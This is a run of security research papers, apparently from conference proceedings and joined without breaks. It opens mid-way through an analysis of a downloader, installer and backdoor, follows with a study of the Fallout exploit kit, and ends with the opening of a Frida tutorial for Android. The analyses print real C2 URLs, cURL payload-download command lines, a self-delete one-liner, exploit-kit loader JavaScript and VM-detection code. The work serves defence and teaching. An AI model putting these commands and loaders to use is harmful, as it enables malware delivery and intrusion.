<td>-u URL</td>
<td>Confirmation URL. Here the downloader will send different confirmation or requesting data. It is possible to build in two additional confirmation URLs</td>
</tr>
<tr>
<td>-br GUID</td>
<td>Stop a payload downloading. GUID parameter must provide a download task GUID</td>
</tr>
</tbody>
</table>

If one of these parameters exists, the downloader will collect information about installed antivirus products and will send it to the CC.

After that, it sends the download request to the Confirmation URL. In response the CC will send a file that will be downloaded into the %USERPROFILE% directory. To decrypt the downloaded file, the downloader uses an MD5 hash of the strings encryption key.
CONFIRMATION URL REQUEST AND FILE DOWNLOADING

Default (hardcoded) URL: http://70.39.115.196/payment/confirm.gif
The request is a string like:

- http://70.39.115.196/payment/confirm.gif?f=1 (x86)
- http://70.39.115.196/payment/confirm.gif?f=2 (x64)

PAYLOAD DECRYPTION AND LAUNCHING

This is the structure of the encrypted file:

```c
typedef struct {
    byte hash[16]; // md5 hash of the following data
dword data_size;
    byte data[data_size];
} enc_data;
```

The downloader checks the hash field against a calculated MD5 of the data field hash, and if the hash is correct does the following actions:

1) appends an extension (DLL or EXE, depending on a data type)
2) stores the downloaded file in the %TMP% folder using the name 
%(SystemTimeAsFileTime.dwLowDateTime).%TMP

Then the downloader specifies a command line to launch the downloaded file. If the file is a DLL, the final command line will be:

```
"%systemroot%\system32\rundll32.exe %(SystemTimeAsFileTime.dwLowDateTime)%.TMP,-peuwewh383eg -t 06xwsrdrub2184n6map3li3vz3h9bh4vfgcw"
```

If the file is an EXE file:

```
%(SystemTimeAsFileTime.dwLowDateTime)%.TMP -peuwewh383eg -t 06xwsrdrub2184n6map3li3vz3h9bh4vfgcw
```

After that, the downloader deletes itself using the following command line:

```
/c for /L %i in (1,1,100) do ( for /L %k in (1,1,100) do (del /f /q module_path > NUL & if not exist module_path exit /b 0))
```

FILE LAUNCHING

To launch the downloaded file, the downloader uses the WMI classes Win32_ProcessStartup, Win32_Process and their methods and fields.

FILE DOWNLOADING USING BITS

To download a file, the downloader uses the BITS service and its COM interface, called IBackgroundCopyManager. It creates a task with a name "Microsoft Download", then specifies remote and local file paths and timeouts.
5. Windows Task installation (SFX-archive with cURL)

It contains:

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>p.bat</td>
<td>Launches cURL and obfuscated ps1-scripts</td>
</tr>
<tr>
<td>c.dll</td>
<td>cURL executable compiled as a DLL (7.50.3)</td>
</tr>
<tr>
<td>f1.ps1</td>
<td>Will be executed after the first request to the CC. Decrypts x.dat</td>
</tr>
<tr>
<td>f2.ps1</td>
<td>Will be executed after the second request to the CC. Decrypts b.dat</td>
</tr>
<tr>
<td>e.ps1</td>
<td>Contains code that calculates a string for the Authorization field of the HTTP header</td>
</tr>
<tr>
<td>h.ps1</td>
<td>Gets an information about the system proxy settings</td>
</tr>
<tr>
<td>e.dll</td>
<td>A DLL file with a single exported function. Calls CreateProcessA</td>
</tr>
<tr>
<td>-br GUID</td>
<td>Stop a payload downloading. GUID parameter must provide a download task GUID</td>
</tr>
</tbody>
</table>

It downloads:

<table>
<thead>
<tr>
<th>Source file</th>
<th>Downloaded and decrypted file</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>x.dat</td>
<td>u.xml</td>
<td>AES encrypted file (see f1.ps1 for a decryption algorithm)</td>
</tr>
<tr>
<td>b.dat</td>
<td>i.bat</td>
<td>AES encrypted file (the same decryption algorithm)</td>
</tr>
</tbody>
</table>

Result:

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>i.bat</td>
<td>Performs Windows Task installation</td>
</tr>
</tbody>
</table>

When a caller (previous step) executes this archive, it must specify two arguments:

<table>
<thead>
<tr>
<th>Argument</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-pKEY</td>
<td>Argument with a key to unpack the SFX-archive</td>
</tr>
<tr>
<td>-t ACCEPTANCE_ID_STRING</td>
<td>Argument with a long string - AcceptanceID (used in requests to the CC)</td>
</tr>
</tbody>
</table>

p.bat

It launches the h.ps1 script to get information about system wide proxy settings. After that it launches the e.ps1 script to calculate a SystemID that will be used in requests to the CC. To send a request it uses c.dll (which is cURL and has an exported function called DllGetClassObject).

REQUEST 1

Command line arguments are:

```
-A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0"
-x %pp%
-H "Authorization:%output%"
-H "AcceptanceID:%p3%"
-L
-o c:\programdata\Sun\x.dat
http://70.39.115.196/payment/schedule.php?s=a
```
This request downloads the x.dat file, and the f1.ps1 script decrypts it into u.xml. After that it launches the next request.

**REQUEST 2**

Command line arguments are:

```
-A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0"
-x %pp%
-H "Authorization:%output%"
-H "AcceptanceID:%p3%"
-L
-o c:\programdata\Sun\b.dat
http://70.39.115.196/payment/schedule.php?s=b
```

It downloads the b.dat file, and the f2.ps1 script decrypts it into i.xml (using the same encryption algorithm).

**TASK INSTALLATION**

After that, it launches the following command line to install the persistence task:

```
cmd /c c:\programdata\Sun\i.bat c:\programdata\Sun\u.xml
```

The i.bat uses the previously decrypted u.xml file as the task description.

### 6. Trojan-backdoor installer

Archive unpacks included files into the following folder (in case of DVD Maker):

```
C:\Program Files (x86)\DVDMaker-1\Shared\DvdStyles\BabyGirl\n```

The archive itself contains:

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BabyBoyStyleBackground.wmv</td>
<td>Configuration data</td>
</tr>
<tr>
<td>DvDupdate.dll</td>
<td>Trojan-backdoor loader</td>
</tr>
<tr>
<td>nav_downarrow.png</td>
<td>Trojan-backdoor</td>
</tr>
<tr>
<td>psinstrc.ps1</td>
<td>Loader installation script</td>
</tr>
</tbody>
</table>
In the case of the "Realtek" mimic, it differs only in its installation method compared to "DVD Maker": ps1-script uses two known CLSIDs to replace their COM DLL paths with the malware ones.

**psinstrc.ps1**

This is the installer script which registers DvDupdate.dll as the "DVDMaker Help" service, and sets its entry point as the "DllGetClassObject" name. It requires admin privileges in order to be executed correctly.

The script contains configurable parameters, so it's easy to change any required parameter for different systems.

There are two ways the loader can be installed:

1) system service, with "DllGetClassObject" exported function as the ServiceMain function
2) COM object, by replacing an existing CLSID registry path with its own

**DvDupdate.dll**

This is a service DLL, but all exports are the same as every COM object should provide. Generally, it's a payload loader.

The whole code is obfuscated with different Windows API calls and loops. It was not designed to confuse a reverse-engineer, and not to make reverse engineering harder, but to bypass some simple AV emulation engines.

The first exported function for every COM object is "DllGetClassObject".

**DLLGETCLASSOBJECT**

The loader creates a thread that decrypts, restores PE and MZ headers, loads into memory and launches the payload. The payload is encrypted with AES 256 CBC. The decryption key is hardcoded along with other encrypted strings. It doesn’t contain 'MZ' and 'PE' tags that allow it to bypass simple AV engines. After initializing the payload the loader calls its 1 ordinal function.

**nav_downarrow.png**

The payload with backdoor functionality, is a DLL file. The malware functionality is in the first exported entry only (ordinal 1).

**nav_downarrow.png — Ordinal 1 (Trojan-backdoor main function)**

First thing that it does is decrypt the other encrypted binary (configuration data) from the SFX content:

C:\Program Files (x86)\DVDMaker\Shared\DvdStyles\BabyBoy\BabyBoyStyleBackground.wmv

The configuration itself is divided into blocks, and every block has its index. The payload uses these indices to get a specific item. The configuration contains:
• the CC address
• traffic encryption key
• the UserAgent string
• other less required parameters

EXECUTION THREAD
This execution thread is responsible for receiving commands from the CC server and sending responses to them. It contains an execution loop which starts by reading config item #00 to get the CC address.

INITIALIZING THE CC TALKING
To initialize the connection to the CC, the payload sends a base64-encoded request that contains a unique SystemID, computer name, and hard disk serial number. After that, the malware starts commands receiving.

RECEIVING COMMANDS
To receive commands from the CC, the payload sends an empty request to the CC. It uses the UserAgent string from the config and a special cookie generation algorithm to prepare a request. Also the malware can get proxy settings from Internet Explorer.

In response to this request, the CC answers with a PNG file that contains steganographically hidden data. This data is encrypted with the same key as the CC requests. Decrypted data contains backdoor commands and arguments for them.

Examples of PNG files:

CC Commands Processor (commands description)
The backdoor may accept many different commands, these are the most interesting:

1) Read any file from a file system and send to the CC
2) Drop or delete a file in the file system
3) Drop a file and run it
4) Run a command line and send execution results to the CC
5) Update configuration parameters (except the AES encryption key)
6) Interactive mode. Allows it to receive input from console programs and send their output
A Chronicle of Fallout

Rintaro Koike / NTT Security Japan KK
Shota Nakajima / Cyber Defense Institute, Inc.

Abstract

Fallout Exploit Kit (Fallout) is currently the most sophisticated exploit kit. It appeared in August 2018 and underwent four major updates for a year, and its powerful nature makes it a prominent threat.

We have seen the evolutionary process from birth to the present day. And we posted some of the details on our blog [1][2][3][4]. However, not all have been released. For example, the backends, such as their infrastructure and API, are still veiled in secrecy.

In this paper we will look at:
• A complete timeline of Fallout
• Our observational analysis environment
• Techniques used by Fallout
• Fallout’s infrastructure
• Attack campaigns (traffic & malware)

Rintaro Koike is a Security Analyst at NTT Security (Japan) KK. In addition, he is the founder of ‘nao_sec’ and malicious traffic/script/document analyst. And, he is the speaker/presenter of Japan Security Analyst Conference 2018/19 hosted by JPCERT/CC, SECCON 2018 Conference, HITCON Community 2019 and Black Hat USA 2018 Arsenal.

Shota Nakajima is a Security Analyst at Cyber Defense Institute, Inc. in Japan. He has been engaged in malware analysis and incident response. In addition, he belongs to the non-profit cyber security research team (a.k.a. nao_sec) and analyzing malware in the wild. He is the speaker of Japan Security Analyst Conference 2018/2019 hosted by JPCERT/CC and HITCON Community 2019, Black Hat EUROPE 2018 Arsenal Presenter.
Introduction

Fallout Exploit Kit that appeared in August 2018 has grown with four major updates in about a year. It has been adopted in various attack campaigns, making very sophisticated attacks and a major threat on the web. Fallout was not a terrible threat from the beginning. It gradually updated itself, making it difficult to detect, analyze, and succeed in attacking.

From the birth of Fallout to the present, we have always followed its movement. We show all about how Fallout appears in front of us, how it goes through trial and error, and how it gets to the present. A thorough understanding of the growth process of sophisticated exploit kit such as Fallout will help to understand the growth of new exploit kits in the future and help detect and analyze them.

Timeline

Fallout has changed and evolved from v1 to v4 (Figure 1 Fallout timeline). This chapter describes each feature.

![Fallout timeline](image)

**v1**

The first time we encountered Fallout was on August 30, 2018. At that time, we were developing a system that automatically analyzed the traffic of Drive-by Download attacks. While collecting various Drive-by Download attack traffic samples for the debugging the system, we encountered Fallout. The reason we focused on it was so simple that the domain showed us. The first Fallout we observed had the string "naosec" in the domain. Fallout URL was similar to Nuclear Exploit Kit. So, we named it Fallout as a new Exploit Kit related to Nuclear Exploit Kit[^5].
About Fallout, our first blog was published on September 1, 2018. About a week later, there were reports that Fallout was used in various attack campaigns. There is a market behind this. We have observed that around September 8, Fallout began to be sold in the market for attackers. As a result, various attackers may have purchased Fallout subscriptions and started using them in attacks. Fallout subscriptions were priced at $500/week and $1500/month.

Fallout began to be used in several attack campaigns as it began to be sold in the market. Fallout seemed to be a success, taking away RIG’s customers, who had an overwhelming share at the time. However, it was not observed after the end of the year.

v2

Around January 17, 2019, Fallout resumed activities. At this time, Fallout made several updates. It includes HTTPS, landing page code changes, and exploitation of new vulnerabilities. This increased Fallout’s attack power and analysis difficulty. Fallout has been adopted in more attack campaigns and has been incredible.

v3

About a month after the v2 update, Fallout changed again on February 28, 2019. The landing page code and shellcode were changed. The biggest update is the use of PoC code. Previously, Fallout kept the exploit code obfuscated, but v3 reads the PoC code on GitHub. Thereby may make it difficult to block communication. However, the operation of v3 was not stable. Very often, exploits failed. That is why v3 was abolished in about a month.

v4

Fallout v4 appeared around April 10, 2019. Unlike v3, v4 does not use a PoC on GitHub and works stably. v4 includes all the powerful features so far and adds new features. There are two major changes in v4. Data encryption and analysis environment detection using Diffie–Hellman key exchange. This change makes Fallout the most advanced exploit kit now.
Observation Environment

We have developed an automatic active observation platform to find Drive-by Download attacks, including Fallout. The following figure shows the system configurations (Figure 4 Our observation system).

![Figure 4. Our observation system](image)

StarC[^6] is a simple high-interactive client honeypot for traffic analysis of Drive-by Download attack. Traffic data obtained with StarC is analyzed with EKTotal[^7]. EKTotal is an integrated analysis tool that can automatically analyze the traffic of Drive-by Download attacks. EKTotal can identify some exploit kits and extract exploit codes and malware. tknk_scanner[^8] is a community-based integrated malware identification system, which aims to easily identify malware families by automating this process using an integration of open-source community-based tools and freeware. It identifies malware extracted by EKTotal.

Techniques

Fallout EK v1

TRAFFIC


CVE-2018-4878

![CVE-2018-4878](image)
The SWF file read by the object tag uses CVE-2018-4878. The SWF file is very similar to PoC.

**CVE-2018-8174**

The large span tag is VBScript code encoded with custom Base64. It is decoded with JavaScript and executed by “ExecuteGlobal” of VBScript.

[Figure 6. Custom Base64](image)

If execution fails, change window.location. The redirect destination loads the landing page again. If it fails, the dummy website will be displayed.

[Figure 7. Dummy website](image)

The decoded result is obfuscated PoC of CVE-2018-8174. The basic structure does not change. Shellcode generation processing which is the core of this exploit code, is encoded by custom Base64.
SHELLCODE

First, the shellcode downloads the encoded payload. Since the payload is encoded, decode the payload. Finally, execute the decoded payload. The first part of the shellcode is the xor decoding the remaining shellcode. The API for download and execute the payload is hashed. The shellcode used the ror13AddUpperDllnameHash32 algorithm for the API hashes.

In the decoded code, the download URL is hard-coded. The domain name slandered us (Figure 9 hard-coded URL and Key).

The downloaded payload is encoded. The payload is encoded using xor with a hard-coded key. Finally, execute the decoded exe using ShellExecuteExA.

Fallout EK v2

TRAFFIC

Fallout v2 began using HTTPS. This update makes analysis and detection a bit more complicated. Fallout started to use Let’s Encrypt.
JavaScript was not obfuscated in the previous landing page. Custom Base64 for generating exploitation code was easy to read, and the table was written as it was. All such processing is obfuscated in the new landing page. However, its obfuscation is very simple. Let us read in turn. The first line extracts necessary data from HTML. Decode this string to generate exploitation code. The second line defines the table of custom Base64.

```javascript
var h05FyVx = window['document']['getElementsByTagName']('YsDjh')['innerHTML'];
var i2piDeFv5JY = 'Cwryq3sYBIDnH_zmEv.190Txlz7FcGdkeM6-f7KzXWbOuU2L583J34QuagpPASjvh';
```

Figure 11. Custom Base64 table

Next Fallout is creating an object element. The src is encoded URL. This resource executes the exploitation SWF of CVE-2018-15982.

```javascript
var GJ950fJ3f2 = window['document']['createElement']['embed'];
window['GJ950fJ3f2']['src'] = 'https://payformattention.site/19_09_1954/9733.aspx';
window['document']['getElementsByTagName']['BODY'][0]['appendChild'](GJ950fJ3f2);
```

Figure 12. SWF loader

Finally, Fallout is creating a script element. VBScript text is the decoded version of HTML data read in the first line. This VBScript executes the exploitation code of CVE-2018-8174.

```javascript
var QA5vbF1286 = window['document']['createElement']['script'];
window['QA5vbF1286']['type'] = 'text/vbscript';
window['QA5vbF1286']['text'] = window['E5meKye0'](window['h05FyVx']);
window['document']['getElementsByTagName']['BODY'][0]['appendChild'](QA5vbF1286);
```

Figure 13. CVE-2018-8174 loader

**CVE-2018-8174**

The code is the same as PoC. Shellcode has been updated.

**CVE-2018-15982**

In this update, CVE-2018-15982\(^{[11]}\) has been added to Fallout.

<table>
<thead>
<tr>
<th>#</th>
<th>Result</th>
<th>Protocol</th>
<th>Host</th>
<th>URL</th>
<th>Body</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>200</td>
<td>HTTPS</td>
<td>payformattention.site</td>
<td>ZKKr6o/6YYtGtCMer×ang9h0kcallz0m...</td>
<td>E5960</td>
<td>Fallout Exploit Kit (Landing Page)</td>
</tr>
<tr>
<td>2</td>
<td>200</td>
<td>HTTPS</td>
<td>payformattention.site</td>
<td>/tW/11_04_19274.dml</td>
<td>26,677</td>
<td>Fallout Exploit Kit (CVE-2018-15982)</td>
</tr>
<tr>
<td>3</td>
<td>200</td>
<td>HTTPS</td>
<td>payformattention.site</td>
<td>/ctics-catswa/21-04-19274/chibok/IRID...</td>
<td>210,648</td>
<td>Fallout Exploit Kit (Malware Payload)</td>
</tr>
</tbody>
</table>

Figure 14. Fallout v2 traffic (CVE-2018-15982)

However, this is the same as PoC. Shellcode is the original, but it is the same algorithm as the one already explained in 8174.
SHELLCODE

In version 2, it changed to use PowerShell. The API hash algorithm has also changed to dualaccModFFF1Hash. An RC4 encrypted PowerShell script is embedded using a hardcoded key in the shellcode. Finally, call CreateProcessA to run PowerShell (Figure 15 Run PowerShell).

PowerShell is base64 encoded. It includes the following code:

- Bypass AMSI
- Download malware
- Run by CreateProcess

Fallout EK v3

TRAFFIC

As usual HookAds campaign reached the landing page of Fallout, and the attack started. The flow of traffic is like this.

<table>
<thead>
<tr>
<th>#</th>
<th>Result</th>
<th>Protocol</th>
<th>Host</th>
<th>URL</th>
<th>Body</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>200</td>
<td>HTTP</td>
<td><a href="http://www.onlinefightingdrive.info">www.onlinefightingdrive.info</a></td>
<td>/</td>
<td>8,496</td>
<td>HookAds Campaign</td>
</tr>
<tr>
<td>2</td>
<td>200</td>
<td>HTTPS</td>
<td>nuskelestandard.info</td>
<td>/unlimited/under-inter</td>
<td>5,399</td>
<td>HookAds Campaign</td>
</tr>
<tr>
<td>4</td>
<td>200</td>
<td>HTTPS</td>
<td>not-my-guilty.com</td>
<td>/inde874/concert5.htm</td>
<td>12,352</td>
<td>Fallout Exploit Kit (Encoded Data)</td>
</tr>
<tr>
<td>5</td>
<td>200</td>
<td>HTTPS</td>
<td>raw.github.com</td>
<td>v3-2013-874/Div/oyster/VC-2014-81...</td>
<td>10,152</td>
<td>OLYMPUS PRODUCT</td>
</tr>
<tr>
<td>6</td>
<td>200</td>
<td>HTTPS</td>
<td>not-my-guilty.com</td>
<td>/2012-01-16/Portal</td>
<td>4,513</td>
<td>Fallout Exploit Kit (PowerShell Payload)</td>
</tr>
<tr>
<td>7</td>
<td>200</td>
<td>HTTPS</td>
<td>not-my-guilty.com</td>
<td>/04_10_1971/beavermx/oeej/phant</td>
<td>140,484</td>
<td>Fallout Exploit Kit (Malware Payload)</td>
</tr>
</tbody>
</table>

Firstly, the objects necessary for decoding are defined. The next defined object is also for decoding. The next object makes sure that it is not in Chrome and Opera using, for example, User-Agent.
The next object is for executing code. It is the most important object. With these codes, the following code will be executed. It downloads the encoded data and executes it.

```
window["String"]['prototype'] = function () {
  var BITU978SF7 = (("Window"["op""] & "Window"["op"])["addons"]; null) & null["navigator"] & null["userAgent"] & null["indexOf"] & null["op"] & window["installTrigger"] & null["undefined"] & this & (false & window["chrome"] & null["chrome"]["runtime"]) & return window["(OpigP9)"] & "(BITU978SF7["a96b9f746u"] & RL6U&Tg4F3Dg")];
}
```

**Figure 18. Download encoded data**

**ENCODED DATA**

When decoding the code, it looks like the following. This code is exploited by replacing the shellcode part of PoC of CVE-2018-8174 on GitHub.

```
var a = ("domain") & ("Path") & ("lpszAgent") & ("HTTP Method") & ("Dll name") & n & t & e & n & s & e & d & r
```

**Figure 19. Load CVE-2018-8174**

**SHELLCODE**

In version 3, PowerShell script is not embedded in shellcode. The shellcode downloads it. Besides, the following various strings are encrypted with RC4.

- **domain**: Download encoded PowerShell script
- **Path**: URL path
- **lpszAgent**: Used for PowerShell script download
- **HTTP Method**: Used for PowerShell script download
- **Dll name**: For API calls in shellcode

The final encoded PowerShell script is downloaded, decoded, and executed. It downloads the malware and calls CreateProcess. At this time, User-Agent is not common (Figure 20 Fallout v3 User-Agent).

```
GET https://not-my-guilty.com/04_10_1971/beaveries/a0er.phtml HTTP/1.1
User-Agent: pqnqW56Fe8w2G7m3
Host: not-my-guilty.com
Connection: Keep-Alive
```

**Figure 20. Fallout v3 User-Agent**
Fallout EK v4

TRAFFIC

In this way, an attack is performed by seven traffics.

v4 uses Diffie-Hellman key exchange to encrypt communications. Data encrypted with the key obtained by Diffie-Hellman key exchange is received twice by JavaScript and then decoded and executed.

The data thus decoded is written to Body and executed. The decoded data is the CVE-2018-8174 exploit code, and the CVE-2018-15982 exploit code for reading SWF loader.
For SWF loader, the following code is executed. Thus, the SWF file that exploits CVE-2018-15982 is read and executed.

```
<html>
<head>
  <meta http-equiv="x-java-compatible" content="IE10">
</head>
<body>
  <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="785" height="528" id="bnj3x" align="middle">
    <param name="movie" value="/A2_2016/09_04_1999/3618-Stegger-36466">
    <param name="quality" value="high" />
    <param name="bgcolor" value="#e4e4e4" />
    <param name="play" value="true" />
    <param name="loop" value="true" />
    <param name="volume" value="0.7" />
    <param name="menus" value="false" />
    <param name="devicefont" value="false" />
    <param name="allowScriptAccess" value="sameDomain" />
  </object>
</body>
</html>
```

**Figure 24.** CVE-2018-15982 loader

**CVE-2018-8174**

The exploit code used is very similar to PoC. The process to generate shellcode is like this.

```
Function GetShellcode()
  ILLL=Unescape("%00%00%00%00%00%00%00%00") & Unescape("%8B%85%83%EC%F8%4%ECB1"
  ILLL=ILL & String((Strb0000Lent(III1))/2,Unescape("%414141"))
  GetShellcode=ILL
End Function
```

**Figure 25.** CVE-2018-8174 GetShellCode function

**SHELLCODE**

The decoding algorithm in the shellcode has not changed from v3 and remains RC4. The hash algorithm of API hash has not changed either. API hashed by the dualaccModFFF1Hash algorithm. However, there were interesting changes. Analysis environment Two detection codes have been added in shellcode.

**VM DETECTION**

Check hypervisor presence using CPUID. The CPUID instruction is a processor instruction that allows the software to obtain processor information. When CPUID is called with EAX = 1, the 31 bit of the ECX register is a flag that indicates whether it is a hypervisor. (Figure 26 VM detection code).

```
unsigned int __thiscall zz_vm_detect(unsigned int *this)
{
    unsigned int *v1; // edi
    unsigned int result; // eax

    v1 = this;
    _EAX = 1;
    __asm [ cpuid ]
    result = _ECX >> 31;
    *v1 = _ECX >> 31;
    return result;
}
```

**Figure 26.** VM detection code
PROCESS DETECTION

In the shellcode, the code to get the process list of the environment was added. All process names are converted to lower case. The process name is hashed using the dualaccModFFF1Hash algorithm and compared with the discovery target. Compare with the following hashes:

- 0x3F5406DE
- 0x25CD0541
- 0x0F050309
- 0x161803EC
- 0x19F3044B

Two of them were “wireshark.exe” and “fiddler.exe” (Figure 27 Calculated hash).

Infrastructure

We have already shown that Fallout is on the market. According to it, Fallout provides an API to generate landing page URLs dynamically.

- High punching — about 20—30% on the average traffic
- Separate server and proxies for each client
- Automatic rotation of proxies
- Weekly URL cleaning
- Unlimited number of threads
- Load-balanced
- EXE and DLL upload
- API for issuing links
- External statistics
- Unique shellcode for each client

We have observed many attack campaigns using Fallout. Some of them leaked Fallout API information due to an attacker’s mistake. One of them is the Casting_IQoption campaign. On February 13, 2019, the Casting_IQoption gate was redirected to Fallout.
However, there was no redirection on the 14th. Instead, it returned a PHP error code.

According to this error code, 8888 port data of 185.232.29.198 is obtained by PHP `file_get_contents`. It can be inferred that it was the code that outputs the result as `src` of the iframe. We thought this was Fallout's API.

When investigating this IP address with Censys, the fingerprint of SSH was `f18c190a594e2769be410f5d3174e281646ac983a7facae139963117c4ae49a9b`. When we searched for servers with the same fingerprint, we found multiple IP addresses.

- 185.232.28.195 ~ 198
- 185.232.29.195 ~ 201

We researched those IP addresses with VirusTotal and found that some were associated with "justinstalledpanel.com".

Several researchers have already reported that "justinstalledpanel.com" is associated with various malware.
**Campaign**

**Tester**

We have called Tester the first thing we discovered as an attack campaign using Fallout. Since Tester has been observed before Fallout was sold on the market. It assumes that this campaign’s operator closest to the Fallout developer. This campaign sends SmokeLoader, Neutrino Bot, and GandCrab.

![Figure 33. Tester campaign traffic](image)

**HookAds**

HookAds [12] is an attack campaign reported by Malwarebytes in November 2016. Until now, it was observed that RIG was used. However, Fallout began to be used around October 2018. HookAds uses various malware. For example, AZORult, Amadey, Danabot, Vidar, KPOT Stealer.

![Figure 34. HookAds campaign traffic](image)

**MakeMoney**

MakeMoney is an attack campaign that has been observed since April 2019. It originally used RIG, however started using Fallout around June. This campaign is also famous for starting to use SystemBC. Besides, it is known to use Clipboard Hijacker from around August 2019.

![Figure 35. MakeMoney campaign traffic](image)
Malware

Various malware has been observed since Fallout appeared (Figure 36 Malware family). Ransomware was popular when Fallout appeared. GandCrab\[13\] is a ransomware that appeared in January 2018. It was used a lot in Fallout until the end of sales in May. Kraken Cryptor\[14\] as developed in C# and sold in a forum called “exploin.in”. Maze Ransomware was found via fallout at the end of May\[15\]. Attackers also use Info Stealer such as AZORult\[14\]. AZORult has been observed for a long time. Fallout was not observable so much from March to May. There is SystemBC\[17\] as malware spread by Fallout SystemBC sets up SOCKS5 proxies on victim computers. Many Clipboard Hijacker has been observed this fall\[14\]. When the Bitcoin address is copied, Clipboard Hijacker replaces it with the address provided by the attacker.

![Malware Family](image)

**Figure 34. HookAds campaign traffic**

Conclusion

Fallout is currently one of the most sophisticated exploit kits. Four updates have been made since the appearance in August 2018. That update is always a challenge for analysts. With each update, the difficulty of analysis continues to increase. Fallout is also one of the very popular exploit kit. It is used in many attack campaigns and used to send various malware. Fallout will continue to be used in many attack campaigns and will continue to evolve. It will be necessary to continue to track and analyze Fallout actively in the future.
References


[6]  “StarC (GitHub),” nao_sec, [オンライン].
Available: https://github.com/nao-sec/starc

[7]  “EKTTotal (GitHub),” nao_sec, [オンライン].

[8]  “tknk_scanner (GitHub),” nao_sec, [オンライン].


30. 1. 2018. [オンライン].


31. 5. 2019. [オンライン].


[17]  proofpoint, “SystemBC is like Christmas in July for SOCKSS Malware and Exploit Kits,”
1. 8. 2019. [オンライン].

Fast Rev-eng Is Definitely Awesome (Android Frida tutorial)

Hsun-Jen Hsu (Vash Hsu)

Jen-Yu Tsai (Bill Tsai)

Abstract

Frida is a great instrumentation dynamic toolkit, and using tools like Frida has become commonplace within the security community, so much so, that it's hard to imagine our life without it. We want to introduce the beauty of Frida to more researchers and exchange experiences with advanced Frida users.

We will share the details of our hands-on experience with Frida on Android, from basic to advanced and lessons learned together with scenarios we have analyzed.

The following sections will be presented in detail:

Hsun-Jen Hsu (Vash Hsu) / Main Speaker is a Senior Threat Researcher at the Avast Threat Labs, specializing in reverse engineering, malware behavior analysis and threat analysis automation. One of Vash's key research topics is the analysis of attack scenarios using Frida, the dynamic instrumentation toolkit. He pays particular attention to threats originating in Asia, specifically China. Previously, Vash was a Software Development Engineer in Test for more than 14 years in the security industry. He has successfully transformed himself into a hardcore threat researcher.

Jen-Yu Tsai (Bill Tsai) / 2nd Speaker is the Threat Research Lead and Technical Solutions Architect at the Avast Threat Labs. He oversees a team specializing in reverse engineering, malware behavior analysis and threat analysis automation. Bill and his team pay particular attention to threats targeting Asia, specifically those emanating from China. He also leads the development, integration, analysis and operation of the Avast Android Antivirus SDK, collaborating with internal teams and Avast's global partner teams. Today, Avast is one of the biggest Android Antivirus SDK providers in the market. When Bill is not glued to his MacBook Pro, he spends time building LEGO, playing with his son, and trying very hard not to wake up late on holidays.
• “What is Frida?” and “What do we think Frida is?”
• Suspicious URL and HTTPS parameters with or without networks.
• Identity-specific malware that bypasses VM as well as works differently in different environments
• The variations of dynamic payloads.
• The tricky in-memory cache.
• Encrypting ransomware.
• What happens when Frida meets Dirty Cow?

A summary will be given to the audience, and what we will present in the talk is just a small part of Frida, which shows the power and how it can be used to crack malware. From our scenarios, the audience will gain a certain level of understanding of how useful Frida can be and how they can potentially use Frida to combine with the existing toolchains.

All our scripts shared in this talk will be open-sourced to researchers.
Introduction

Since December 2018, we have been adopting Frida gradually into our daily Android malware research. Frida is a great instrumentation dynamic toolkit that has fantastic feature sets to assist researchers in doing reverse-engineering much more efficient and diverse.

It’s really hard to imagine what we were doing reverse-engineering before. Previously, in order to change the behaviors of system APIs and output more logs, you will have to maintain and modify an Android sandbox to do as well as suffered the diversity of Android platforms. In order to understand the real network communications, you will have to set up your own environment to intercept the URLs, parameters, and responses. In order to dump in-memory cache, you will have to use different toolkits and then try to parse it on your own. Not to mention that we are running different toolkits on different personal environments, and it’s a problem that we could share scripts easily to be run on someone’s desktop.

There are so many situations that are now evolved by Frida. Researchers can now have the same experience and understanding of how to hook/inject APIs via the same toolkit easily. Frida handles the magic of the diversity of Android platforms that allows you to switch Android environments with ease. Frida enables us to code the scripts in a unified way and be able to share them with others easily as long as your environment is Frida-ready.

In the following chapters, we will walk through the following scenarios from basic to advanced:

- Suspicious URL and HTTPS parameters with or without networks.
- Identity-specific malware that bypasses VM as well as works differently in different environments.
- The variations of dynamic payloads.
- The tricky in-memory cache.
- Encrypting ransomware.
- What happens when Frida meets Dirty Cow?

Frida

Frida is a really good dynamic instrumentation toolkit for everyone. It’s scriptable, it’s portable, it’s powerful. Before you start to read this paper, you are required to have the following knowledge and environment:

- Visit Frida.re[1] for DOCS includes Getting started, tutorial for Android
- A rooted Android device with frida-server
- Knowledge of Javascript
- Knowledge of method hooking
- Knowledge of Java and Android programming

Dump the output

We use `send(message[, data])` to exchange data (log, raw data or binary) serialized in JSON. That facilitates integration among Frida and our own dynamic analysis environment. Otherwise, `console.log(line), console.warn(line), console.error(line)` work quite well. In this paper, we wrap up `send(message[, data])` to `reportCall()` so that Frida script authors can pass well-structured info to align our dashboard representation schema.
URLs and HTTPS Parameters

In this chapter, we talk about a very common case that is network access from malware. It is pretty normal that malware nowadays communicates to C&C (command and control) servers to act differently, download the payload, steal the data from users and submit the data to other servers.

Previously, in order to find out the C&C server and what are the parameters come with the initial requests, we usually have the following options, but not limited to:

- Unpack the APK and looking for URLs, functions and parameters.
- Run a specific toolkit that will dump you strings with possible URLs.
- Set up an environment that is able to intercept the full network communication.

With Frida, things can now be much more efficient and simple for getting what are the URLs in use together with all the parameters and responses without code unpacking or special network environment. Here we focus on the case of how researchers can retrieve such information easily, and certainly, there are more complicated cases related to network communication analysis which are not included in the scope of this chapter.

We recommend you to start with these very simple and efficient entries show as below:

- java.net.URL.init(String spec)
- WebView.loadUrl(String url)
- HttpURLConnectionImpl.connect()
- HttpURLConnectionImpl.getInputStream()

